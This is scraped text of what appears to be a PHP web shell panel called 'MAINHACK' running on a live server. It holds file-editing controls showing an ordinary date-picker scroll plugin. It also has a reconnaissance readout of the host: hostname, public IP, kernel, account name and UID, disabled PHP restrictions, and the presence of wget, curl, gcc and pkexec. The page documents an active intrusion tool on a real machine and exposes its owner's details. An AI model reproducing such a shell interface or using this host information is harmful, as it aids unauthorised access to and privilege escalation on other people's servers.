[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: scrollPlugin.js
(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : (global = typeof globalThis !== 'undefined' ? globalThis : global || self, global.scrollPlugin = factory()); }(this, (function () { 'use strict'; function getEventTarget(event) { try { if (typeof event.composedPath === "function") { var path = event.composedPath(); return path[0]; } return event.target; } catch (error) { return event.target; } } if (typeof window.CustomEvent !== "function") { var CustomEvent = function (typeArg, eventInitDict) { eventInitDict = eventInitDict || { bubbles: false, cancelable: false, detail: undefined, }; var evt = document.createEvent("CustomEvent"); evt.initCustomEvent(typeArg, eventInitDict.bubbles, eventInitDict.cancelable, eventInitDict.detail); return evt; }; CustomEvent.prototype = window.Event.prototype; window.CustomEvent = CustomEvent; } function delta(e) { return Math.max(-1, Math.min(1, e.wheelDelta || -e.deltaY)); } var scroll = function (e) { e.preventDefault(); var ev = new CustomEvent("increment", { bubbles: true, }); ev.delta = delta(e); getEventTarget(e).dispatchEvent(ev); }; function scrollMonth(fp) { return function (e) { e.preventDefault(); var mDelta = delta(e); fp.changeMonth(mDelta); }; } function scrollPlugin() { return function (fp) { var monthScroller = scrollMonth(fp); return { onReady: function () { if (fp.timeContainer) { fp.timeContainer.addEventListener("wheel", scroll); } if (fp.yearElements) { fp.yearElements.forEach(function (yearElem) { return yearElem.addEventListener("wheel", scroll); }); } if (fp.monthElements) { fp.monthElements.forEach(function (monthElem) { return monthElem.addEventListener("wheel", monthScroller); }); } fp.loadedPlugins.push("scroll"); }, onDestroy: function () { if (fp.timeContainer) { fp.timeContainer.removeEventListener("wheel", scroll); } if (fp.yearElements) { fp.yearElements.forEach(function (yearElem) { return yearElem.removeEventListener("wheel", scroll); }); } if (fp.monthElements) { fp.monthElements.forEach(function (monthElem) { return monthElem.removeEventListener("wheel", monthScroller); }); } }, }; }; } return scrollPlugin; })));
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.71 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002